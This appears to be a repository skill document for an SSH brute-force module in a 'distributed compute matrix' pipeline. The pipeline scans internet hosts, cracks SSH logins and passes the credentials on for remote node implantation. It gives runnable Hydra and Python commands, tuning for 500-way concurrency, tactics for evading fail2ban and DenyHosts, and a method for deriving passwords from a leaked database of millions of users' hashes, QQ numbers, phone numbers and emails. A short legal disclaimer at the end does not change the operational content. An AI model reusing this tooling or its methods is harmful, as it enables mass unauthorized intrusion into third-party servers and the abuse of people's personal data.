Files
卡若 048cc32afc 🎯 初始提交:分布式算力矩阵 v1.0
- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维
- SKILL 总控 + 子模块 SKILL
- 排除大文件(>5MB)与敏感凭证

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-15 22:46:54 +08:00

20 KiB
Raw Permalink Blame History

name, description, triggers, owner, version, updated
name description triggers owner version updated
SSH暴力破解 分布式算力矩阵 - SSH凭证暴力破解v3.0:用户派生凭证升级 + MongoDB状态标记 + 全量处理) 暴力破解、SSH破解、字典攻击、SSH登录、凭证爆破、brute force、hydra、ssh bruter 卡若 3.0 2026-02-15

04_暴力破解

核心任务:通过字典攻击/暴力破解快速获取SSH登录凭证衔接扫描模块与节点部署 已吸收GitHub SecLists字典 + asyncssh异步方案 + Hydra工具链 + 实战Top200凭证


一、模块概述

暴力破解模块是分布式算力矩阵的「攻击引擎」,位于流水线的第二环节。从 01_扫描模块 获取开放SSH端口的IP列表通过智能字典攻击获取有效凭证结果自动写入 02_账号密码管理供 03_节点部署 使用。

在整个流水线中的位置

01_扫描模块          04_暴力破解          02_账号密码管理       03_节点部署
  扫描IP/端口  ──→  SSH字典攻击  ──→   存储有效凭证  ──→   远程部署节点
  (masscan/nmap)   (asyncssh/hydra)   (加密数据库)       (一键植入)

二、双引擎架构

                    ┌─────────────────────────┐
                    │     暴力破解控制台       │
                    │   (ssh_bruter.py)        │
                    └────────────┬────────────┘
                                 │
                    ┌────────────▼────────────┐
                    │      调度层              │
                    │  ┌─────────────────┐    │
                    │  │ 目标队列        │    │
                    │  │ (IP:Port列表)   │    │
                    │  └────────┬────────┘    │
                    │           │              │
                    │  ┌────────▼────────┐    │
                    │  │ 字典管理器      │    │
                    │  │ (内置+自定义)   │    │
                    │  └────────┬────────┘    │
                    │           │              │
                    │  ┌────────▼────────┐    │
                    │  │ 并发控制器      │    │
                    │  │ (Semaphore)     │    │
                    │  └────────┬────────┘    │
                    └───────────┼──────────────┘
                     ┌──────────┴──────────┐
                     ▼                      ▼
              ┌─────────────┐       ┌─────────────┐
              │ 引擎A:      │       │ 引擎B:      │
              │ AsyncSSH    │       │ Paramiko    │
              │ (异步,首选) │       │ (同步,备选) │
              │ 500+并发    │       │ 线程池并发  │
              └──────┬──────┘       └──────┬──────┘
                     └──────────┬──────────┘
                                ▼
                    ┌─────────────────────┐
                    │   结果收集器         │
                    │  JSON + CSV + 报告  │
                    └─────────────────────┘

引擎对比

特性 AsyncSSH (引擎A) Paramiko (引擎B) Hydra (外部工具)
语言 Python asyncio Python threading C 语言
并发模型 协程(真异步) 线程池 多进程
最大并发 500+ ~100 ~64
速度 最快 中等 最快
兼容性 Python 3.10+ Python 3.6+ 需额外安装
老旧设备 需配kex参数 默认兼容好 兼容好
推荐场景 大批量(>100台) 兼容性要求高 单台/快速验证

三、字典体系

3.1 字典分层策略

层级 文件 凭证数 预估耗时/台 适用场景
L1 快速 内置 BUILTIN_CREDENTIALS ~150 ~30s 首轮快扫
L2 标准 ssh_default_credentials.txt ~200 ~1min 默认+IoT
L3 扩展 ssh_usernames.txt × ssh_passwords_top500.txt ~22,000 ~30min 深度破解
L4 暴力 自定义大字典 100,000+ 数小时 特定目标

3.2 字典来源

来源 说明 GitHub
SecLists 安全测试标准字典集67k+ stars danielmiessler/SecLists
top-100-passwords 实际SSH攻击中最常见密码 WillieStevenson/top-100-passwords
Probable-Wordlists 按概率排序的密码表8.5k stars berzerk0/Probable-Wordlists
bruteforce-database 1100万条密码综合数据库 duyet/bruteforce-database
实战积累 卡若团队实际SSH攻击命中统计 内部

3.3 字典文件清单

references/
├── ssh_default_credentials.txt    # 组合字典 (user:password)~200条
├── ssh_usernames.txt              # 用户名字典,~45个
├── ssh_passwords_top500.txt       # 密码字典 Top500
└── (可扩展) rockyou_top10000.txt  # 从SecLists下载

3.4 快速扩展字典

# 下载 SecLists SSH专用字典
curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
  -o references/seclist_ssh_defaults.txt

# 下载 Top 10000 常用密码
curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt \
  -o references/top10000_passwords.txt

# 下载完整 rockyou 子集
curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou-75.txt \
  -o references/rockyou_top75.txt

四、使用方式

4.1 Python脚本推荐

# 安装依赖
pip install -r scripts/requirements.txt

# === 单目标破解 ===
python3 scripts/ssh_bruter.py --target 192.168.1.100

# === 指定端口 ===
python3 scripts/ssh_bruter.py --target 192.168.1.100:2222

# === 批量破解IP列表文件===
python3 scripts/ssh_bruter.py --targets targets.txt --concurrency 300

# === 从01_扫描模块结果直接导入 ===
python3 scripts/ssh_bruter.py --from-scan ../01_扫描模块/results/scan_results.json

# === 使用自定义字典 ===
python3 scripts/ssh_bruter.py --target 192.168.1.100 \
  --combodict references/ssh_default_credentials.txt

# === 分离字典(用户名×密码交叉) ===
python3 scripts/ssh_bruter.py --targets targets.txt \
  --userdict references/ssh_usernames.txt \
  --passdict references/ssh_passwords_top500.txt

# === 高性能模式 ===
python3 scripts/ssh_bruter.py --targets targets.txt \
  --concurrency 500 --timeout 5 --delay 0.01

4.2 Hydra工具快速验证

# 安装 Hydra
brew install hydra    # macOS
# apt install hydra   # Ubuntu

# === 单目标快速破解 ===
./scripts/hydra_wrapper.sh single 192.168.1.100

# === 单目标指定端口 ===
./scripts/hydra_wrapper.sh single 192.168.1.100 2222

# === 快速模式(仅默认凭证) ===
./scripts/hydra_wrapper.sh single 192.168.1.100 --fast

# === 批量破解 ===
./scripts/hydra_wrapper.sh batch targets.txt

# === 直接用Hydra高级 ===
hydra -C references/ssh_default_credentials.txt -t 32 -w 15 192.168.1.100 ssh

4.3 扫描→破解 全流程

# 第1步从扫描结果提取SSH目标
python3 scripts/scan_to_brute.py \
  --input ../01_扫描模块/results/scan_results.json \
  --output targets.txt

# 第2步批量暴力破解
python3 scripts/ssh_bruter.py --targets targets.txt --concurrency 300

# 第3步成功凭证自动保存在 results/ 目录
ls results/
#   found_credentials.json    ← 可直接导入 02_账号密码管理
#   found_credentials.csv
#   brute_report_*.json       ← 完整报告

# 第4步导入凭证库对接02_账号密码管理
python3 ../02_账号密码管理/scripts/import_hosts.py \
  --from results/found_credentials.json

4.4 一键全流程脚本

#!/bin/bash
# 扫描 → 破解 → 导入 一条龙
SCAN_RESULT="../01_扫描模块/results/scan_results.json"

echo "[1/3] 提取SSH目标..."
python3 scripts/scan_to_brute.py -i "$SCAN_RESULT" -o targets.txt

echo "[2/3] 开始暴力破解..."
python3 scripts/ssh_bruter.py -T targets.txt -c 300

echo "[3/3] 导入凭证库..."
python3 ../02_账号密码管理/scripts/import_hosts.py --from results/found_credentials.json

echo "完成!"

五、速度优化策略

5.1 并发参数调优

场景 并发数 超时 延迟 说明
内网快扫 500 3s 0s 内网延迟低
外网标准 200 8s 0.05s 平衡速度和稳定
外网深度 100 15s 0.1s 避免被ban
单目标深度 50 10s 0.2s 规避fail2ban

5.2 性能预估

字典规模 并发200 并发500
150条(L1) ~30s/台 ~12s/台
200条(L2) ~1min/台 ~25s/台
22,000条(L3) ~30min/台 ~12min/台

5.3 规避防护

防护机制 规避策略
fail2ban 控制同IP失败次数延迟 > 0.1s
DenyHosts 使用多个源IP代理池
限速限连 降低并发 + 增加超时
SSH Banner延迟 增加banner_timeout
端口敲门(Port Knocking) 需先触发knock序列

六、脚本清单

脚本 功能 说明
ssh_bruter.py 核心暴力破解器 AsyncSSH + Paramiko 双引擎,异步高并发
scan_to_brute.py 扫描结果转换器 从多种扫描格式提取SSH目标
hydra_wrapper.sh Hydra封装脚本 快速单台/批量破解
requirements.txt Python依赖 asyncssh, paramiko, aiofiles

七、字典文件清单

文件 类型 条目数 说明
ssh_default_credentials.txt 组合(user:pass) ~200 默认凭证+IoT+NAS+云
ssh_usernames.txt 用户名 ~45 常用SSH用户名
ssh_passwords_top500.txt 密码 ~500 Top500高频密码

八、输出格式

8.1 成功凭证 (found_credentials.json)

[
  {
    "ip": "192.168.1.100",
    "port": 22,
    "username": "root",
    "password": "password",
    "success": true,
    "banner": "Linux server1 5.15.0 #1 SMP x86_64 GNU/Linux",
    "os_info": "",
    "error": "",
    "timestamp": "2026-02-15T12:30:45"
  }
]

8.2 破解报告 (brute_report_*.json)

{
  "scan_info": {
    "start_time": "2026-02-15T12:00:00",
    "elapsed_seconds": 120.5,
    "total_targets": 100,
    "total_attempts": 15000,
    "success_count": 12,
    "fail_count": 14988,
    "concurrency": 200
  },
  "found_credentials": [...],
  "failed_hosts": ["192.168.1.200", ...]
}

8.3 CSV格式 (found_credentials.csv)

ip,port,username,password,banner,timestamp
192.168.1.100,22,root,password,Linux server1...,2026-02-15T12:30:45

九、配置文件

config/brute_config.yaml 参考:

bruter:
  engine: asyncssh          # asyncssh / paramiko / hydra
  concurrency: 200          # 并发连接数
  timeout: 8                # 单次超时(秒)
  delay: 0.05               # 尝试间隔(秒)
  max_retries: 1            # 网络错误重试
  stop_on_first: true       # 找到一个就停止该IP

dictionary:
  builtin: true             # 使用内置凭证
  combo_file: references/ssh_default_credentials.txt
  user_file: references/ssh_usernames.txt
  pass_file: references/ssh_passwords_top500.txt
  level: L2                 # L1快速 / L2标准 / L3扩展

output:
  dir: ./results
  format: [json, csv]       # 输出格式
  realtime_save: true       # 成功即保存

ports:
  default: [22, 2222]       # 默认SSH端口
  extended: [22, 2222, 22222, 10022, 20022]  # 扩展端口列表

safety:
  max_fail_per_ip: 50       # 单IP最大失败次数防ban
  blacklist: []             # IP黑名单不攻击
  whitelist_only: false     # 仅白名单模式

十、GitHub 参考项目索引

项目 Stars 说明 地址
SecLists 67k+ 安全测试字典大全SSH/密码/用户名) danielmiessler/SecLists
Hydra 10k+ C语言多协议暴力破解工具 vanhauser-thc/thc-hydra
mass-bruter - masscan + hydra 自动化框架 opabravo/mass-bruter
masspwn - masscan + nmap + brutespray 链式攻击 juanschallibaum/masspwn
Probable-Wordlists 8.5k 概率排序密码字典 berzerk0/Probable-Wordlists
ssh-paramiko-toolkit - Paramiko SSH工具集 dedlinux777/ssh-paramiko-toolkit
SSH-Bruteforcer - 异步+多线程双模式 calc1f4r/SSH-Bruteforcer
AsyncSSH - Python异步SSH库 ronf/asyncssh
top-100-passwords - 实际SSH攻击Top100密码 WillieStevenson/top-100-passwords

十一、MongoDB 智能破解 v3.0(推荐主力流程)

11.1 核心流程

mongo_smart_brute.py v3.0 直连 MongoDB自动状态标记+用户专属凭证:

KR.分布式矩阵IP_已扫描 (16.7万 SSH开放)
        │
        ├─ 1) 查询 SSH 可达 IP排除已标记 unreachable/refused/success
        ├─ 2) 排除自有平台(老坑爹/黑科技)+ 自有IP
        ├─ 3) 按 S→A→B→C 级别排序
        │
        ▼
预批量加载用户数据每IP的关联用户内嵌在已扫描文档中
        │
        ├─ 4) 每IP提取其专属用户的 username/QQ/phone/email/password_hash/reg_time
        ├─ 5) MD5反查明文200+密码库)
        ├─ 6) 注册日期→多格式密码yyyyMMdd/yyyy/MMdd等
        ├─ 7) QQ号/手机号/邮箱前缀→多变体密码
        │
        ▼
智能凭证列表(用户派生 + 设备默认按优先级排序前50组/IP
        │
        ├─ 8) 异步高并发 SSH 登录500并发主机级
        ├─ 9) 每台主机最多50组凭证3次连续网络错误跳过
        │
        ▼
自动回写 MongoDB 状态标记
        ├─ success   → KR.分布式矩阵IP_已登录 + 已扫描标记
        ├─ unreachable → 永久跳过3次连续超时
        ├─ refused    → 永久跳过(连接被拒)
        └─ auth_failed → 凭证全部失败,标记尝试次数

11.2 用户数据→SSH凭证转换策略 v3.0

每个IP关联的用户不同生成的凭证完全不同。这是核心竞争力。

策略 说明 示例 优先级
MD5反查 200+常见密码预计算MD5匹配无盐哈希 hash→123456 P1 最高
用户名+原始密码 MD5反查成功后用户名+明文密码 lcs123456:123456 P1
用户名作密码 用户名本身常被设为SSH密码 root:zhangsan P2
同名同密 网站账密复用到SSH admin:admin P2
QQ号作密码 中国用户极常见74.7万条有QQ root:628917 P2
QQ变体 QQ+123, qq前缀等 root:628917123 P4
手机号 全号/后6位/后8位/后4位2.9万条) root:13001020581 P2
手机号变体 手机+点, 后6位+点 root:020581. P4-P5
注册日期 yyyyMMdd/yyyy/MMdd/ddMMyyyy/yyyy-MM-dd root:20140928 P3
日期+后缀 日期+点/叹号 root:20140928. P4-P5
邮箱前缀 邮箱@前部分作密码 root:zhangsan P3
邮箱前缀变体 前缀+123, 前缀同名 zhang:zhang P5
用户名+后缀 username+123/1/123456/@123/!@#/. root:lcs123 P4
用户名+弱密码 常见弱密码搭配用户名 lcs:123456 P4
用户名数字 提取用户名中的数字部分 root:123456 P4
设备默认 按OS/SSH版本匹配 ubuntu:ubuntu P0-P2

数据覆盖率(来自 KR.分布式矩阵IP

  • username: 100% (871万全有)
  • password_hash: 100%
  • 无盐MD5: 115,530条 (1.3%, 可反查)
  • QQ号: 747,602条 (8.6%)
  • 手机号: 29,174条 (0.3%)
  • 注册日期: 有少量

11.3 SSH 状态标记机制v3.0 新增)

每次破解完一台主机,自动回写标记到 KR.分布式矩阵IP_已扫描

标记 含义 后续处理
success SSH登录成功 写入 已登录 集合,永久跳过
unreachable 3次连续超时 永久跳过IP已变更或防火墙封堵
refused 连接被拒绝 永久跳过SSH服务关闭
auth_failed SSH可达但凭证全部失败 保留,后续可用更大字典重试

标记字段:

{
  "ssh_brute_status": "unreachable",   // 状态
  "ssh_brute_attempts": 3,             // 实际尝试次数
  "ssh_brute_total_creds": 50,         // 可用凭证总数
  "ssh_brute_time": "2026-02-15T..."   // 最后尝试时间
}

效果:后续运行自动跳过已标记 IP每轮只处理新增/未处理的 IP。

11.4 使用方式

# 默认S级+A级
python3 scripts/mongo_smart_brute.py

# 全量S+A+B+C 所有未标记IP
python3 scripts/mongo_smart_brute.py --level SABC

# 限量B级
python3 scripts/mongo_smart_brute.py --level B --max-targets 5000

# 高并发全量
python3 scripts/mongo_smart_brute.py --level SABC --concurrency 500 --timeout 8

# 试运行(查看凭证但不登录)
python3 scripts/mongo_smart_brute.py --level SABC --dry-run

11.5 排除规则

排除项 说明
老坑爹论坛/商店 自有平台用户IP
黑科技 (quwanzhi.com) 自有平台用户IP
自有基础设施 宝塔/存客宝/Oracle VPS 等 6 个IP
D级全端口开放 蜜罐概率>80%
已标记 unreachable/refused/success 历史结果自动跳过

11.6 结果存储

位置 内容
KR.分布式矩阵IP_已登录 MongoDB含成功凭证+快捷SSH命令
KR.分布式矩阵IP_已扫描.ssh_brute_status MongoDB每IP的SSH状态标记
results/found_credentials.json 本地JSON
results/found_credentials.csv 本地CSV
results/smart_brute_report_*.json 完整报告

十二、与其他模块的对接

上游01_扫描模块 → 本模块

# 方式1通过MongoDB推荐
python3 scripts/mongo_smart_brute.py --level SA

# 方式2通过文件
python3 scripts/scan_to_brute.py \
  --input ../01_扫描模块/results/scan_results.json \
  --output targets.txt
python3 scripts/ssh_bruter.py --targets targets.txt

下游:本模块 → 02_账号密码管理 → 03_节点部署

# 成功凭证导入凭证库
python3 ../02_账号密码管理/scripts/import_hosts.py \
  --from results/found_credentials.json

# 或直接用凭证部署
python3 ../03_节点部署/scripts/deploy.py \
  --creds results/found_credentials.json --parallel 20

十三、脚本清单(更新)

脚本 功能 说明
mongo_smart_brute.py MongoDB智能破解器 直连MongoDB用户数据+设备凭证融合,推荐主力
ssh_bruter.py 通用暴力破解器 文件输入AsyncSSH+Paramiko双引擎
scan_to_brute.py 扫描结果转换器 多格式→目标列表
hydra_wrapper.sh Hydra封装 快速验证用
requirements.txt Python依赖 asyncssh, paramiko, pymongo

十四、法律声明

本模块的所有工具仅用于管理自有设备和已获授权的安全测试。

未经授权使用暴力破解工具攻击他人系统违反《中华人民共和国刑法》第285条非法侵入计算机信息系统罪。使用前请确保

  1. 目标设备为自有或已获书面授权
  2. 在合法的渗透测试范围内
  3. 遵守当地法律法规